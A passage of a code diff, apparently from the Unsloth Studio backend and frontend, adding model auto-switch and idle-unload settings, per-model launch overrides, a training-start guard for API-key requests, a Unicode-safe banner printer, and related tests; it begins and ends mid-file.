disable_openai_auto_switch_for_request(getattr(request, "scope", None))
|
||||
await _preview_lock.acquire()
|
||||
keep_locked = False
|
||||
try:
|
||||
|
|
|
|||
|
|
@ -32,6 +32,16 @@ from utils.helper_precache_settings import (
|
|||
helper_model_disabled_by_env,
|
||||
set_helper_precache_enabled,
|
||||
)
|
||||
from utils.openai_auto_switch_settings import (
|
||||
DEFAULT_AUTO_UNLOAD_IDLE_SECONDS,
|
||||
DEFAULT_OPENAI_AUTO_SWITCH_ENABLED,
|
||||
get_auto_unload_idle_seconds,
|
||||
get_model_overrides,
|
||||
get_openai_auto_switch_enabled,
|
||||
get_stored_auto_unload_idle_seconds,
|
||||
set_model_override,
|
||||
set_openai_auto_switch,
|
||||
)
|
||||
from utils.preview_sharing_settings import (
|
||||
DEFAULT_PREVIEW_SHARING_ENABLED,
|
||||
get_preview_sharing_enabled,
|
||||
|
|
@ -66,6 +76,33 @@ class HelperPrecacheResponse(BaseModel):
|
|||
disabled_by_env: bool
|
||||
|
||||
|
||||
class OpenAIAutoSwitchPayload(BaseModel):
|
||||
enabled: bool
|
||||
auto_unload_idle_seconds: int = Field(default = DEFAULT_AUTO_UNLOAD_IDLE_SECONDS, ge = 0)
|
||||
|
||||
|
||||
class OpenAIAutoSwitchResponse(BaseModel):
|
||||
enabled: bool
|
||||
auto_unload_idle_seconds: int
|
||||
default_enabled: bool = DEFAULT_OPENAI_AUTO_SWITCH_ENABLED
|
||||
# True when the idle-unload loop will actually unload (effective TTL > 0). With
|
||||
# UNSLOTH_MODEL_IDLE_TTL set and nothing stored, this is true even while enabled
|
||||
# is false, so the UI can show idle-unload as active instead of "needs enable".
|
||||
idle_unload_active: bool = False
|
||||
|
||||
|
||||
class ModelOverridePayload(BaseModel):
|
||||
model_id: str = Field(..., min_length = 1)
|
||||
llama_extra_args: list[str] = Field(default_factory = list)
|
||||
# ge=1: 0 is not a valid sequence length, and the setter drops a falsy value,
|
||||
# so reject it at the boundary instead of accepting then silently discarding it.
|
||||
max_seq_length: Optional[int] = Field(default = None, ge = 1, le = 1048576)
|
||||
|
||||
|
||||
class ModelOverridesResponse(BaseModel):
|
||||
overrides: dict[str, dict]
|
||||
|
||||
|
||||
def _upload_limit_response(limit_mb: int) -> UploadLimitResponse:
|
||||
return UploadLimitResponse(
|
||||
max_upload_size_mb = limit_mb,
|
||||
|
|
@ -128,6 +165,70 @@ def update_helper_precache(
|
|||
return _helper_precache_response(enabled)
|
||||
|
||||
|
||||
@router.get("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse)
|
||||
def get_openai_auto_switch(
|
||||
current_subject: str = Depends(get_current_subject),
|
||||
) -> OpenAIAutoSwitchResponse:
|
||||
return OpenAIAutoSwitchResponse(
|
||||
enabled = get_openai_auto_switch_enabled(),
|
||||
auto_unload_idle_seconds = get_stored_auto_unload_idle_seconds(),
|
||||
idle_unload_active = get_auto_unload_idle_seconds() > 0,
|
||||
)
|
||||
|
||||
|
||||
@router.put("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse)
|
||||
def update_openai_auto_switch(
|
||||
payload: OpenAIAutoSwitchPayload, current_subject: str = Depends(get_current_subject)
|
||||
) -> OpenAIAutoSwitchResponse:
|
||||
try:
|
||||
enabled, idle_seconds = set_openai_auto_switch(
|
||||
payload.enabled, payload.auto_unload_idle_seconds
|
||||
)
|
||||
except ValueError as exc:
|
||||
raise log_and_http_error(
|
||||
exc,
|
||||
400,
|
||||
safe_error_detail(exc, fallback = "Invalid OpenAI auto-switch setting."),
|
||||
event = "settings.update_openai_auto_switch_failed",
|
||||
log = logger,
|
||||
) from exc
|
||||
return OpenAIAutoSwitchResponse(
|
||||
enabled = enabled,
|
||||
auto_unload_idle_seconds = idle_seconds,
|
||||
idle_unload_active = get_auto_unload_idle_seconds() > 0,
|
||||
)
|
||||
|
||||
|
||||
@router.get("/openai-auto-switch/overrides", response_model = ModelOverridesResponse)
|
||||
def get_openai_auto_switch_overrides(
|
||||
current_subject: str = Depends(get_current_subject),
|
||||
) -> ModelOverridesResponse:
|
||||
return ModelOverridesResponse(overrides = get_model_overrides())
|
||||
|
||||
|
||||
@router.put("/openai-auto-switch/overrides", response_model = ModelOverridesResponse)
|
||||
def update_openai_auto_switch_override(
|
||||
payload: ModelOverridePayload, current_subject: str = Depends(get_current_subject)
|
||||
) -> ModelOverridesResponse:
|
||||
from core.inference.llama_server_args import validate_extra_args
|
||||
try:
|
||||
extra_args = validate_extra_args(payload.llama_extra_args)
|
||||
set_model_override(
|
||||
payload.model_id,
|
||||
llama_extra_args = extra_args,
|
||||
max_seq_length = payload.max_seq_length,
|
||||
)
|
||||
except ValueError as exc:
|
||||
raise log_and_http_error(
|
||||
exc,
|
||||
400,
|
||||
safe_error_detail(exc, fallback = "Invalid model launch override."),
|
||||
event = "settings.update_model_override_failed",
|
||||
log = logger,
|
||||
) from exc
|
||||
return ModelOverridesResponse(overrides = get_model_overrides())
|
||||
|
||||
|
||||
class PreviewLinkRotateResponse(BaseModel):
|
||||
rotated: bool = True
|
||||
|
||||
|
|
|
|||
|
|
@ -47,7 +47,7 @@ except ImportError:
|
|||
from utils.paths import resolve_dataset_path
|
||||
|
||||
# Auth
|
||||
from auth.authentication import get_current_subject
|
||||
from auth.authentication import authenticated_via_api_key, get_current_subject
|
||||
|
||||
from utils.utils import log_and_http_error
|
||||
|
||||
|
|
@ -114,7 +114,9 @@ async def get_visible_hardware_utilization(current_subject: str = Depends(get_cu
|
|||
|
||||
@router.post("/start")
|
||||
async def start_training(
|
||||
request: TrainingStartRequest, current_subject: str = Depends(get_current_subject)
|
||||
request: TrainingStartRequest,
|
||||
current_subject: str = Depends(get_current_subject),
|
||||
via_api_key: bool = Depends(authenticated_via_api_key),
|
||||
):
|
||||
"""
|
||||
Start a training job.
|
||||
|
|
@ -125,6 +127,22 @@ async def start_training(
|
|||
try:
|
||||
logger.info(f"Starting training job with model: {request.model_name}")
|
||||
|
||||
# When Studio is driven as an inference API (API-key auth), refuse to start
|
||||
# training while a request is in flight: training frees VRAM by unloading
|
||||
# the chat model, which would kill the stream. The Studio UI (session auth)
|
||||
# still starts training and coexists/frees VRAM as before. (A mixed UI+API
|
||||
# session is not yet special-cased.)
|
||||
if via_api_key is True:
|
||||
from core.inference.llama_keepwarm import other_inference_request_count
|
||||
if other_inference_request_count(current_request_counted = False) > 0:
|
||||
raise HTTPException(
|
||||
status_code = 409,
|
||||
detail = (
|
||||
"Cannot start training over the API while an inference request is in "
|
||||
"progress. Wait for it to finish, or start training from the Studio UI."
|
||||
),
|
||||
)
|
||||
|
||||
# No in-process ensure_transformers_version(): the subprocess
|
||||
# (worker.py) activates the correct version before importing ML libs.
|
||||
|
||||
|
|
|
|||
|
|
@ -12,6 +12,18 @@ import os
|
|||
import sys
|
||||
|
||||
|
||||
def _safe_print(text: str) -> None:
|
||||
"""Print text without crashing on terminals that cannot encode Unicode."""
|
||||
try:
|
||||
print(text)
|
||||
except UnicodeEncodeError:
|
||||
encoding = getattr(sys.stdout, "encoding", None) or "ascii"
|
||||
try:
|
||||
print(text.encode(encoding, errors = "replace").decode(encoding))
|
||||
except LookupError:
|
||||
print(text.encode("ascii", errors = "replace").decode("ascii"))
|
||||
|
||||
|
||||
def stdout_supports_color() -> bool:
|
||||
"""True if we should emit ANSI colors."""
|
||||
if os.environ.get("NO_COLOR", "").strip():
|
||||
|
|
@ -28,9 +40,9 @@ def print_port_in_use_notice(original_port: int, new_port: int) -> None:
|
|||
"""Message when the requested port is taken and another is chosen."""
|
||||
msg = f"Port {original_port} is in use, using port {new_port} instead."
|
||||
if stdout_supports_color():
|
||||
print(f"\033[38;5;245m{msg}\033[0m")
|
||||
_safe_print(f"\033[38;5;245m{msg}\033[0m")
|
||||
else:
|
||||
print(msg)
|
||||
_safe_print(msg)
|
||||
|
||||
|
||||
def print_studio_stop_hint() -> None:
|
||||
|
|
@ -44,7 +56,7 @@ def print_studio_stop_hint() -> None:
|
|||
def style(text: str, code: str) -> str:
|
||||
return f"{code}{text}{reset}" if use_color else text
|
||||
|
||||
print(
|
||||
_safe_print(
|
||||
"\n".join(
|
||||
[
|
||||
"",
|
||||
|
|
@ -180,4 +192,4 @@ def print_studio_access_banner(
|
|||
]
|
||||
)
|
||||
|
||||
print("\n".join(lines))
|
||||
_safe_print("\n".join(lines))
|
||||
|
|
|
|||
|
|
@ -1689,6 +1689,43 @@ def upsert_app_settings(settings: dict[str, Any]) -> dict[str, Any]:
|
|||
conn.close()
|
||||
|
||||
|
||||
def upsert_app_setting_map_entry(
|
||||
key: str, entry_key: str, entry_value: dict[str, Any] | None
|
||||
) -> dict[str, Any]:
|
||||
"""Set (or delete, when entry_value is falsy) one sub-entry of a dict-valued
|
||||
app setting, atomically under BEGIN IMMEDIATE so concurrent writers to other
|
||||
sub-entries cannot drop each other's updates."""
|
||||
conn = get_connection()
|
||||
try:
|
||||
conn.execute("BEGIN IMMEDIATE")
|
||||
row = conn.execute("SELECT value_json FROM app_settings WHERE key = ?", (key,)).fetchone()
|
||||
current = _json_loads(row["value_json"], {}) if row else {}
|
||||
if not isinstance(current, dict):
|
||||
current = {}
|
||||
if entry_value:
|
||||
current[entry_key] = entry_value
|
||||
else:
|
||||
current.pop(entry_key, None)
|
||||
now = datetime.now(timezone.utc).isoformat()
|
||||
conn.execute(
|
||||
"""
|
||||
INSERT INTO app_settings (key, value_json, updated_at)
|
||||
VALUES (?, ?, ?)
|
||||
ON CONFLICT(key) DO UPDATE SET
|
||||
value_json = excluded.value_json,
|
||||
updated_at = excluded.updated_at
|
||||
""",
|
||||
(key, json.dumps(current), now),
|
||||
)
|
||||
conn.commit()
|
||||
return current
|
||||
except Exception:
|
||||
conn.rollback()
|
||||
raise
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
|
||||
def list_chat_settings() -> dict[str, Any]:
|
||||
conn = get_connection()
|
||||
try:
|
||||
|
|
|
|||
3039
studio/backend/tests/test_openai_auto_switch.py
Normal file
3039
studio/backend/tests/test_openai_auto_switch.py
Normal file
File diff suppressed because it is too large
Load diff
|
|
@ -13,6 +13,7 @@ if str(_BACKEND) not in sys.path:
|
|||
sys.path.insert(0, str(_BACKEND))
|
||||
|
||||
import routes.inference as inf # noqa: E402
|
||||
from core.inference import local_model_resolver as resolver # noqa: E402
|
||||
|
||||
|
||||
class _Info:
|
||||
|
|
@ -21,10 +22,12 @@ class _Info:
|
|||
id,
|
||||
display_name,
|
||||
model_id = None,
|
||||
is_gguf = True,
|
||||
):
|
||||
self.id = id
|
||||
self.display_name = display_name
|
||||
self.model_id = model_id
|
||||
self.is_gguf = is_gguf # drives the files-based GGUF check in the test
|
||||
|
||||
|
||||
class _FakeLlama:
|
||||
|
|
@ -53,10 +56,16 @@ def test_catalog_lists_loaded_and_available(monkeypatch):
|
|||
return [
|
||||
_Info("/data/models/Qwen3-Q4.gguf", "Qwen3-Q4"), # same as loaded -> dedup
|
||||
_Info("/data/models/Llama-8B-Q8.gguf", "Llama-8B-Q8"), # available, not loaded
|
||||
_Info("models--org--Foo", "Foo", model_id = "org/Foo"), # hf cache repo id
|
||||
# HF-cache GGUF: model_format is unset for these, so a files-based check
|
||||
# (not model_format) must still list it.
|
||||
_Info("models--org--Foo", "Foo", model_id = "org/Foo"),
|
||||
# Non-GGUF (safetensors) can't be served via /v1: must NOT be advertised.
|
||||
_Info("/data/models/Mistral-7B", "Mistral-7B", is_gguf = False),
|
||||
]
|
||||
|
||||
monkeypatch.setattr(inf, "_cached_local_catalog", _fake_catalog)
|
||||
# GGUF-ness is read from the on-disk files; drive it off each info's flag here.
|
||||
monkeypatch.setattr(resolver, "info_has_local_gguf", lambda info: info.is_gguf)
|
||||
|
||||
data = asyncio.run(inf._openai_catalog_objects())
|
||||
ids = {m["id"]: m for m in data}
|
||||
|
|
@ -64,9 +73,12 @@ def test_catalog_lists_loaded_and_available(monkeypatch):
|
|||
# Loaded model is present, marked loaded, and keeps context fields.
|
||||
assert ids["Qwen3-Q4"]["loaded"] is True
|
||||
assert ids["Qwen3-Q4"]["context_length"] == 4096
|
||||
# Available-but-not-loaded models are listed too.
|
||||
# Available-but-not-loaded GGUF models are listed too.
|
||||
assert ids["Llama-8B-Q8"]["loaded"] is False
|
||||
# The HF-cache GGUF is listed despite model_format being unset.
|
||||
assert ids["org/Foo"]["loaded"] is False
|
||||
# The non-GGUF model is filtered out (/v1 can never serve it).
|
||||
assert "Mistral-7B" not in ids
|
||||
# The loaded gguf and the on-disk copy collapse to one clean id.
|
||||
assert [m["id"] for m in data].count("Qwen3-Q4") == 1
|
||||
# No absolute paths or .gguf suffixes leak anywhere.
|
||||
|
|
@ -76,6 +88,20 @@ def test_catalog_lists_loaded_and_available(monkeypatch):
|
|||
assert "/data/" not in blob
|
||||
|
||||
|
||||
def test_catalog_lock_is_per_loop():
|
||||
# Codex P2: a module-level asyncio.Lock ties its waiters to the loop that first
|
||||
# awaited it, so a second event loop awaiting it in a multi-loop process can
|
||||
# hang. The catalog lock must be per-loop (distinct lock per running loop), and
|
||||
# the old shared _CATALOG_LOCK must be gone so it can't be reintroduced.
|
||||
async def _get():
|
||||
return inf._catalog_lock()
|
||||
|
||||
a = asyncio.run(_get())
|
||||
b = asyncio.run(_get()) # a fresh event loop
|
||||
assert a is not b
|
||||
assert not hasattr(inf, "_CATALOG_LOCK")
|
||||
|
||||
|
||||
def test_empty_and_errored_scans_are_cached(monkeypatch):
|
||||
# Cache validity is keyed on the timestamp, not list contents, so an empty
|
||||
# (fresh install / no local models) or errored scan is still cached for the
|
||||
|
|
|
|||
|
|
@ -172,8 +172,8 @@ def test_vision_complete_sends_auth_header(monkeypatch):
|
|||
def json(self):
|
||||
return {"choices": [{"message": {"content": "ok"}}]}
|
||||
|
||||
def fake_post(url, *, json, timeout, headers):
|
||||
captured.update(url = url, headers = headers)
|
||||
def fake_post(url, *, json, timeout, headers, trust_env):
|
||||
captured.update(url = url, headers = headers, trust_env = trust_env)
|
||||
return _Resp()
|
||||
|
||||
monkeypatch.setattr(httpx, "post", fake_post)
|
||||
|
|
@ -182,6 +182,7 @@ def test_vision_complete_sends_auth_header(monkeypatch):
|
|||
)
|
||||
assert out == "ok"
|
||||
assert captured["headers"] == {"Authorization": "Bearer secret"}
|
||||
assert captured["trust_env"] is False
|
||||
|
||||
|
||||
def test_vision_complete_omits_header_when_unauthenticated(monkeypatch):
|
||||
|
|
@ -198,13 +199,15 @@ def test_vision_complete_omits_header_when_unauthenticated(monkeypatch):
|
|||
def json(self):
|
||||
return {"choices": [{"message": {"content": "ok"}}]}
|
||||
|
||||
def fake_post(url, *, json, timeout, headers):
|
||||
def fake_post(url, *, json, timeout, headers, trust_env):
|
||||
captured["headers"] = headers
|
||||
captured["trust_env"] = trust_env
|
||||
return _Resp()
|
||||
|
||||
monkeypatch.setattr(httpx, "post", fake_post)
|
||||
captioner._vision_complete("http://x", "local", b"i", prompt = "p", timeout = 5.0, max_tokens = 8)
|
||||
assert captured["headers"] is None
|
||||
assert captured["trust_env"] is False
|
||||
|
||||
|
||||
def test_merge_page_captions_dedups():
|
||||
|
|
|
|||
52
studio/backend/tests/test_rag_loopback_trust_env.py
Normal file
52
studio/backend/tests/test_rag_loopback_trust_env.py
Normal file
|
|
@ -0,0 +1,52 @@
|
|||
"""AST test locking in the RAG loopback trust_env fix: every httpx client/call in the RAG
|
||||
package (all target the local 127.0.0.1 llama-server) must set trust_env=False."""
|
||||
|
||||
import ast
|
||||
import os
|
||||
|
||||
RAG_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "core", "rag")
|
||||
HTTPX_CALLEES = {"get", "post", "stream", "request", "Client", "AsyncClient"}
|
||||
|
||||
|
||||
def _httpx_calls(path):
|
||||
with open(path, encoding = "utf-8") as f:
|
||||
tree = ast.parse(f.read(), filename = path)
|
||||
calls = []
|
||||
for node in ast.walk(tree):
|
||||
if not isinstance(node, ast.Call):
|
||||
continue
|
||||
func = node.func
|
||||
if (
|
||||
isinstance(func, ast.Attribute)
|
||||
and func.attr in HTTPX_CALLEES
|
||||
and isinstance(func.value, ast.Name)
|
||||
and func.value.id == "httpx"
|
||||
):
|
||||
calls.append(node)
|
||||
return calls
|
||||
|
||||
|
||||
def _sets_trust_env_false(call):
|
||||
for kw in call.keywords:
|
||||
if kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False:
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def test_rag_loopback_httpx_clients_disable_trust_env():
|
||||
# Scan every .py in the package so a new file with an httpx call can't bypass this.
|
||||
checked = 0
|
||||
for fname in sorted(f for f in os.listdir(RAG_DIR) if f.endswith(".py")):
|
||||
path = os.path.join(RAG_DIR, fname)
|
||||
for call in _httpx_calls(path):
|
||||
checked += 1
|
||||
assert _sets_trust_env_false(call), (
|
||||
f"httpx.{call.func.attr} at {fname}:{call.lineno} must set trust_env=False "
|
||||
f"(loopback llama-server client must not honor ambient HTTP(S)_PROXY)"
|
||||
)
|
||||
assert checked >= 3, f"expected at least 3 loopback httpx calls, found {checked}"
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
test_rag_loopback_httpx_clients_disable_trust_env()
|
||||
print("OK: all RAG loopback httpx clients set trust_env=False")
|
||||
|
|
@ -5,6 +5,9 @@
|
|||
only for the exact loopback aliases, so any other bind (e.g. a specific LAN IP)
|
||||
must show its real address."""
|
||||
|
||||
import io
|
||||
import sys
|
||||
|
||||
import pytest
|
||||
|
||||
from startup_banner import print_studio_access_banner
|
||||
|
|
@ -22,3 +25,41 @@ def test_non_alias_loopback_shows_real_address(capsys):
|
|||
def test_alias_loopback_shows_canned_url(capsys, host):
|
||||
print_studio_access_banner(port = 8891, bind_host = host, display_host = host)
|
||||
assert "http://127.0.0.1:8891" in capsys.readouterr().out
|
||||
|
||||
|
||||
def test_banner_prints_on_strict_cp1252_stdout(monkeypatch):
|
||||
buf = io.BytesIO()
|
||||
stdout = io.TextIOWrapper(buf, encoding = "cp1252", errors = "strict")
|
||||
monkeypatch.setattr(sys, "stdout", stdout)
|
||||
|
||||
print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1")
|
||||
stdout.flush()
|
||||
|
||||
out = buf.getvalue().decode("cp1252")
|
||||
assert "? Unsloth Studio is running" in out
|
||||
|
||||
|
||||
def test_banner_print_fallback_handles_unknown_stdout_encoding(monkeypatch):
|
||||
class InvalidEncodingStdout:
|
||||
encoding = "not-a-real-codec"
|
||||
|
||||
def __init__(self):
|
||||
self.buf = io.BytesIO()
|
||||
self.inner = io.TextIOWrapper(self.buf, encoding = "cp1252", errors = "strict")
|
||||
|
||||
def write(self, text):
|
||||
return self.inner.write(text)
|
||||
|
||||
def flush(self):
|
||||
return self.inner.flush()
|
||||
|
||||
def getvalue(self):
|
||||
self.flush()
|
||||
return self.buf.getvalue().decode("cp1252")
|
||||
|
||||
stdout = InvalidEncodingStdout()
|
||||
monkeypatch.setattr(sys, "stdout", stdout)
|
||||
|
||||
print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1")
|
||||
|
||||
assert "? Unsloth Studio is running" in stdout.getvalue()
|
||||
|
|
|
|||
180
studio/backend/utils/openai_auto_switch_settings.py
Normal file
180
studio/backend/utils/openai_auto_switch_settings.py
Normal file
|
|
@ -0,0 +1,180 @@
|
|||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
|
||||
|
||||
"""Persisted opt-in controls for OpenAI-compatible model auto-switching.
|
||||
|
||||
Two settings, both off by default so existing API behavior is unchanged:
|
||||
- ``openai_api_auto_switch_model``: when on, a ``/v1`` request whose ``model``
|
||||
names a downloaded local GGUF different from the loaded one transparently
|
||||
loads it before serving (llama-swap-style). Unknown names pass through.
|
||||
- ``openai_api_auto_unload_idle_seconds``: when > 0, the loaded GGUF is
|
||||
unloaded after this many idle seconds to free VRAM.
|
||||
|
||||
The idle TTL can also be set at startup via the ``UNSLOTH_MODEL_IDLE_TTL`` env
|
||||
var. Unlike the stored setting (which stays gated on auto-switch), the env value
|
||||
is a standalone default that enables idle-unload even with auto-switch off, for
|
||||
headless/container deploys; an explicit UI/API value still overrides it.
|
||||
|
||||
Reads are cached for a short window because these are consulted on the
|
||||
per-request hot path; writes invalidate the cache.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import threading
|
||||
import time
|
||||
from typing import Any, Optional
|
||||
|
||||
OPENAI_AUTO_SWITCH_SETTING_KEY = "openai_api_auto_switch_model"
|
||||
AUTO_UNLOAD_IDLE_SETTING_KEY = "openai_api_auto_unload_idle_seconds"
|
||||
MODEL_OVERRIDES_SETTING_KEY = "openai_api_auto_switch_overrides"
|
||||
MODEL_IDLE_TTL_ENV_VAR = "UNSLOTH_MODEL_IDLE_TTL"
|
||||
|
||||
DEFAULT_OPENAI_AUTO_SWITCH_ENABLED = False
|
||||
DEFAULT_AUTO_UNLOAD_IDLE_SECONDS = 0
|
||||
|
||||
_CACHE_TTL_S = 2.0
|
||||
_cache_lock = threading.Lock()
|
||||
_cache: dict[str, tuple[float, Any]] = {}
|
||||
|
||||
|
||||
def _coerce_bool(value: Any) -> bool | None:
|
||||
if isinstance(value, bool):
|
||||
return value
|
||||
if isinstance(value, str):
|
||||
normalized = value.strip().lower()
|
||||
if normalized in {"1", "true", "yes", "on"}:
|
||||
return True
|
||||
if normalized in {"0", "false", "no", "off", ""}:
|
||||
return False
|
||||
return None
|
||||
|
||||
|
||||
def _coerce_int(value: Any) -> int | None:
|
||||
try:
|
||||
return max(0, int(value))
|
||||
except (TypeError, ValueError):
|
||||
return None
|
||||
|
||||
|
||||
def _cached_setting(key: str, default: Any) -> Any:
|
||||
"""Read an app setting, memoized for _CACHE_TTL_S to spare the hot path."""
|
||||
now = time.monotonic()
|
||||
with _cache_lock:
|
||||
hit = _cache.get(key)
|
||||
if hit is not None and now - hit[0] < _CACHE_TTL_S:
|
||||
return hit[1]
|
||||
try:
|
||||
from storage.studio_db import get_app_setting
|
||||
stored = get_app_setting(key, None)
|
||||
except Exception:
|
||||
stored = None
|
||||
value = default if stored is None else stored
|
||||
with _cache_lock:
|
||||
_cache[key] = (now, value)
|
||||
return value
|
||||
|
||||
|
||||
def _invalidate(key: str) -> None:
|
||||
with _cache_lock:
|
||||
_cache.pop(key, None)
|
||||
|
||||
|
||||
def get_openai_auto_switch_enabled() -> bool:
|
||||
parsed = _coerce_bool(_cached_setting(OPENAI_AUTO_SWITCH_SETTING_KEY, None))
|
||||
return parsed if parsed is not None else DEFAULT_OPENAI_AUTO_SWITCH_ENABLED
|
||||
|
||||
|
||||
def _stored_idle_seconds() -> Optional[int]:
|
||||
"""The persisted idle TTL as an int, or None when never set."""
|
||||
return _coerce_int(_cached_setting(AUTO_UNLOAD_IDLE_SETTING_KEY, None))
|
||||
|
||||
|
||||
def _env_idle_seconds() -> Optional[int]:
|
||||
"""UNSLOTH_MODEL_IDLE_TTL as a non-negative seconds value, or None if unset/invalid."""
|
||||
raw = os.environ.get(MODEL_IDLE_TTL_ENV_VAR)
|
||||
if raw is None or not raw.strip():
|
||||
return None
|
||||
return _coerce_int(raw)
|
||||
|
||||
|
||||
def get_stored_auto_unload_idle_seconds() -> int:
|
||||
"""The persisted idle-unload TTL, independent of whether auto-switch is on.
|
||||
|
||||
The settings UI reads this so it can display and round-trip the saved value;
|
||||
toggling auto-switch off must not erase it. Falls back to the env override so
|
||||
the UI shows the startup default. The idle loop uses the gated reader below.
|
||||
"""
|
||||
stored = _stored_idle_seconds()
|
||||
if stored is not None:
|
||||
return stored
|
||||
env = _env_idle_seconds()
|
||||
return env if env is not None else DEFAULT_AUTO_UNLOAD_IDLE_SECONDS
|
||||
|
||||
|
||||
def get_auto_unload_idle_seconds() -> int:
|
||||
"""Effective idle TTL the idle loop runs on (0 = never unload)."""
|
||||
stored = _stored_idle_seconds()
|
||||
if stored is not None:
|
||||
# An explicit UI/API value stays gated on auto-switch: off reports 0 so the
|
||||
# off state is identical to pre-feature.
|
||||
return stored if get_openai_auto_switch_enabled() else 0
|
||||
# No stored value: UNSLOTH_MODEL_IDLE_TTL is a standalone startup default that
|
||||
# enables idle-unload even with auto-switch off (headless/container deploys).
|
||||
env = _env_idle_seconds()
|
||||
return env if env is not None else 0
|
||||
|
||||
|
||||
def set_openai_auto_switch(enabled: Any, idle_seconds: Any) -> tuple[bool, int]:
|
||||
"""Set both auto-switch flags in one transaction so a settings PUT can't leave
|
||||
one key updated and the other stale. Both values are coerced before any write,
|
||||
so an invalid value raises without persisting either."""
|
||||
parsed_enabled = _coerce_bool(enabled)
|
||||
if parsed_enabled is None:
|
||||
raise ValueError("OpenAI auto-switch must be true or false.")
|
||||
parsed_idle = _coerce_int(idle_seconds)
|
||||
if parsed_idle is None:
|
||||
raise ValueError("Auto-unload idle seconds must be a non-negative integer.")
|
||||
from storage.studio_db import upsert_app_settings
|
||||
|
||||
upsert_app_settings(
|
||||
{OPENAI_AUTO_SWITCH_SETTING_KEY: parsed_enabled, AUTO_UNLOAD_IDLE_SETTING_KEY: parsed_idle}
|
||||
)
|
||||
_invalidate(OPENAI_AUTO_SWITCH_SETTING_KEY)
|
||||
_invalidate(AUTO_UNLOAD_IDLE_SETTING_KEY)
|
||||
return parsed_enabled, parsed_idle
|
||||
|
||||
|
||||
def get_model_overrides() -> dict[str, dict]:
|
||||
"""Per-model launch overrides keyed by model id ({llama_extra_args, max_seq_length})."""
|
||||
raw = _cached_setting(MODEL_OVERRIDES_SETTING_KEY, None)
|
||||
return raw if isinstance(raw, dict) else {}
|
||||
|
||||
|
||||
def get_model_override(model_id: str) -> dict:
|
||||
"""The launch override applied when auto-switch loads ``model_id`` (or empty)."""
|
||||
override = get_model_overrides().get(model_id)
|
||||
return override if isinstance(override, dict) else {}
|
||||
|
||||
|
||||
def set_model_override(
|
||||
model_id: str,
|
||||
llama_extra_args: Optional[list[str]] = None,
|
||||
max_seq_length: Optional[int] = None,
|
||||
) -> dict:
|
||||
"""Upsert one model's launch override; an override with no fields removes it."""
|
||||
if not model_id or not model_id.strip():
|
||||
raise ValueError("model_id is required.")
|
||||
entry: dict[str, Any] = {}
|
||||
if llama_extra_args:
|
||||
entry["llama_extra_args"] = [str(arg) for arg in llama_extra_args]
|
||||
if max_seq_length:
|
||||
entry["max_seq_length"] = max(0, int(max_seq_length))
|
||||
|
||||
from storage.studio_db import upsert_app_setting_map_entry
|
||||
|
||||
# Atomic per-entry merge so two PUTs for different models can't drop each other.
|
||||
upsert_app_setting_map_entry(MODEL_OVERRIDES_SETTING_KEY, model_id.strip(), entry or None)
|
||||
_invalidate(MODEL_OVERRIDES_SETTING_KEY)
|
||||
return entry
|
||||
|
|
@ -0,0 +1,89 @@
|
|||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
|
||||
|
||||
import { authFetch } from "@/features/auth";
|
||||
import { readFastApiError } from "@/lib/format-fastapi-error";
|
||||
|
||||
export type OpenAIAutoSwitchSettings = {
|
||||
enabled: boolean;
|
||||
autoUnloadIdleSeconds: number;
|
||||
defaultEnabled: boolean;
|
||||
// True when the idle-unload loop will actually unload (e.g. enabled via the
|
||||
// UNSLOTH_MODEL_IDLE_TTL env var even while the toggle is off).
|
||||
idleUnloadActive: boolean;
|
||||
};
|
||||
|
||||
type ApiOpenAIAutoSwitchSettings = {
|
||||
enabled: boolean;
|
||||
// biome-ignore lint/style/useNamingConvention: API schema
|
||||
auto_unload_idle_seconds: number;
|
||||
// biome-ignore lint/style/useNamingConvention: API schema
|
||||
default_enabled: boolean;
|
||||
// biome-ignore lint/style/useNamingConvention: API schema
|
||||
idle_unload_active?: boolean;
|
||||
};
|
||||
|
||||
let cachedSettings: OpenAIAutoSwitchSettings | null = null;
|
||||
let inFlightSettings: Promise<OpenAIAutoSwitchSettings> | null = null;
|
||||
|
||||
function fromApi(
|
||||
settings: ApiOpenAIAutoSwitchSettings,
|
||||
): OpenAIAutoSwitchSettings {
|
||||
return {
|
||||
enabled: settings.enabled,
|
||||
autoUnloadIdleSeconds: settings.auto_unload_idle_seconds,
|
||||
defaultEnabled: settings.default_enabled,
|
||||
idleUnloadActive: settings.idle_unload_active ?? false,
|
||||
};
|
||||
}
|
||||
|
||||
async function fetchOpenAIAutoSwitchSettings(): Promise<OpenAIAutoSwitchSettings> {
|
||||
const res = await authFetch("/api/settings/openai-auto-switch");
|
||||
if (!res.ok) {
|
||||
throw new Error(
|
||||
await readFastApiError(res, "Failed to load model auto-switch settings"),
|
||||
);
|
||||
}
|
||||
return fromApi(await res.json());
|
||||
}
|
||||
|
||||
function cacheSettings(settings: OpenAIAutoSwitchSettings) {
|
||||
cachedSettings = settings;
|
||||
return settings;
|
||||
}
|
||||
|
||||
export async function loadOpenAIAutoSwitchSettings() {
|
||||
if (cachedSettings) {
|
||||
return cachedSettings;
|
||||
}
|
||||
inFlightSettings ??= fetchOpenAIAutoSwitchSettings()
|
||||
.then(cacheSettings)
|
||||
.finally(() => {
|
||||
inFlightSettings = null;
|
||||
});
|
||||
return inFlightSettings;
|
||||
}
|
||||
|
||||
export async function updateOpenAIAutoSwitchSettings(
|
||||
enabled: boolean,
|
||||
autoUnloadIdleSeconds: number,
|
||||
): Promise<OpenAIAutoSwitchSettings> {
|
||||
const res = await authFetch("/api/settings/openai-auto-switch", {
|
||||
method: "PUT",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({
|
||||
enabled,
|
